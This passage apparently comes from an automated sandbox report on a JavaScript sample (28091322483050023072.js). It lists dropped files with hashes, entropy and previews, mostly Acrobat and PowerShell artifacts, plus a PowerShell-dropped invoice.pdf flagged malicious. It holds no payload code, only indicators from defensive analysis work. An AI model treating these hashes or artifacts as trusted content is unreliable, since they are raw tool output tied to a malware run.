Preview:	{"analyticsData":{"responseGUID":"13455db4-c248-4ac1-a2ec-b1c499036e83","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736703526041,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145612830314252
Encrypted:	false
SSDEEP:	24:YeYuYaAEaynrIagK1SBy4Jms27cr4P2LSnjbGj0SnLbYwCrJ50a9RtCU5HPK99DU:YeAcbgKMBTVr4PB8vblcJ50a9R35PK9K
MD5:	B43DA08BEDDEBAF2A58BEA2E8A7F54F7
SHA1:	4F4D3B839A611FAEABC301F96382A8A3C777BE62
SHA-256:	C6F7EDA6E92E8AEFBF9F6F229864E1507224B7EACCD28D754C2459E61EDF7A81
SHA-512:	E910EDF71DCAB31991FDCB65AB7DDF525E52EFCF9552AEA95CC1835F0AE0777D7F912A9A64FF003E3A0167B909914222FC61FDF2E4F16AD5C7505AA8D1E80E6A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"fd77c8dbe8e7b9233fa13f5905d447a9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525596000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"93814e7812d5bb6f3e77ad152db00213","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736525596000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6d598b4881edaa286f07846ae25474c9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736525596000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"bbb638f7aba8c7313cd630bee222bf2f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736525596000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2a90c17746cc6a141f9d006cd626f746","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736525596000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8eb379033cc82c1dc14a5bdbcd920e18","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9844932722217018
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpU4zJwtNBwtNbRZ6bRZ4pF:TVl2GL7ms6ggOVp/zutYtp6PK
MD5:	484B5EE226E9E919990315F491151ACF
SHA1:	AC7690958D7DC2A35DDB2678B44B125BA826F522
SHA-256:	416C32A3B95DEDEF338320395A42C06F222D272348DF7B050A33851D4DF2C4F0
SHA-512:	4A366C5F1E0CE3E28384DDB052D93DDE943BD18AA2E0D2891A16C65BD2B166E8C62CF972D96ECE6450F7AD8656054A963964E699FBB8B074BC2FBC3E1CEE80F1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3362652747213337
Encrypted:	false
SSDEEP:	24:7+tuEAD1RZKHs/Ds/SpUPzJwtNBwtNbRZ6bRZWf1RZKHqLBx/XYKQvGJF7ursAr:7MnGgOVpIzutYtp6PMyqll2GL7msAr
MD5:	789EBF1CBFB8CF0988D00700168C040A
SHA1:	BAFC810A55E05CAECC364E47092A83D3B25006E7
SHA-256:	5ED9ADD05AF382785AABBDAFA26630C76DECC2311E9ECF1E9133BE9381C22EC6
SHA-512:	326AFA72592FB93D4C18782C6BA079381171907AD044A7DED4D594012451F704F828A7FD17D92D9C653F30D780EB7415F0FE899F832DBAEBAEF55C083C64A1F6
Malicious:	false
Preview:	.... .c......T0I......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgDH/Cek7pW0QldFVXV6UPQsJS+LLYyu:6a6TZ44ADEDHt0pW0odFVYQXK
MD5:	E212360701557700616AC5735F6A2C93
SHA1:	33D8502EF7297553C259652242CD6C8A6A46D37D
SHA-256:	7CD878C20B3676B5D11C1F55AECDC4D90896B6A4261A801C31C0F19933167235
SHA-512:	3DEFD2227A61339260AE6267EB6A9213D162E29E707B292EA8D26D51390B2064F677365C47458A9EB4687999960566E3F75EE904647B9075F6B88EB4A3BC9D6B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIcf441.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEN:Qw946cPbiOxDlbYnuRK+bDN
MD5:	F9CAE117D20EDD61954A9CD9AAEB9ACB
SHA1:	0B9F4F3B4665A5113F67511078F22F6553C02131
SHA-256:	E36BC8111CD3E8EB48BFC2221E57CC676D8CC5F3C072A64D8DF73F3D1D1DF4A3
SHA-512:	1DD40A6ECB40D3BE2D845D73C6805FE062D9E467813C6D6141F3D493184DA54E76D16A345985FAE7DAD8523F6D07AE7DC52F5C8487F8F149062128E152EC8553
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.1.3.:.1.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2s01z0rj.50k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ska4uise.ce3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-13-11-655.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3643799548770135
Encrypted:	false
SSDEEP:	384:N4jEjxjdNEo+oXfCIz67sEF8CFv/E3AXlVPK5/BbjhR3b5D9Q9FTCoFj2jy/Y+MC:VcL
MD5:	05C98F9E0848A71C76595DF0B76381D0
SHA1:	2BB1F6A90BCF36CA944BC40122722563C754F667
SHA-256:	07EE7AFC2B22E96D9FF2B0DDD60D5456B6ECCB57395CADB4DBDF21CBF0EBF612
SHA-512:	C839C69C032B54387E69E90584753C91B456EABDC65B33284DCA575FB437992BB3E9868811B053BD0A4B4F19D47DDFDDB22EF13EC6BB291EBF9EB0CD52E079E8
Malicious:	false
Preview:	SessionID=d6dfd476-3951-4b8f-b87d-47168557a2f2.1736525591707 Timestamp=2025-01-10T11:13:11:707-0500 ThreadID=7936 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d6dfd476-3951-4b8f-b87d-47168557a2f2.1736525591707 Timestamp=2025-01-10T11:13:11:708-0500 ThreadID=7936 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d6dfd476-3951-4b8f-b87d-47168557a2f2.1736525591707 Timestamp=2025-01-10T11:13:11:708-0500 ThreadID=7936 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d6dfd476-3951-4b8f-b87d-47168557a2f2.1736525591707 Timestamp=2025-01-10T11:13:11:708-0500 ThreadID=7936 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d6dfd476-3951-4b8f-b87d-47168557a2f2.1736525591707 Timestamp=2025-01-10T11:13:11:709-0500 ThreadID=7936 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3943766752461775
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbY:Xc
MD5:	4B7A1476C0E609A477B51DB58863CE13
SHA1:	39B7D1B0A59D1A0194BA7EE4F63F143626AA86D9
SHA-256:	6CE31B6884C5D80057FA113CC71E6876A27D6B863BB172C78AE27063242AFC66
SHA-512:	623D0DBD092BEFB068A781DA00DB71275AC32D93C7035FC4B12FD628054EF7F582C4559CE95C6ACFFB027FD630B27AA6158FBF956A45D108614C80FC8A609AFE
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\51b34bc4-0e26-4d39-8597-419c8ca1479c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\891f7f80-e8b8-4cd5-bc16-e8603f692dc2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f663df7c-9ee0-4625-9391-e3ea18631c37.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLgGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLgGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A8E5C37206C98D1B655FF994A420FFB6
SHA1:	827237782AB5971EC205C3BCECCC7950BE9F84C3
SHA-256:	F1F755059AF7C2CBC36920337941AEFB18FBDB3CD14D3239CBBBCF0CB8F208EA
SHA-512:	12DE33EB7624458AEC44D83D4E2C09E626F8E54E177FC0C26EEBA232935F34FAAAEB71FBB025EB7C53BEA9933C46ADCE759C32516D1B80C03B6734C61D61CEB2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f6deb6a3-f8e8-45fc-9559-ab447c81bd98.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18867), with CRLF line terminators
Entropy (8bit):	4.898190655941714
TrID:
File name:	28091322483050023072.js
File size:	22'213 bytes
MD5:	3c8f4e50ce2f4a5519589c06c70fc41f
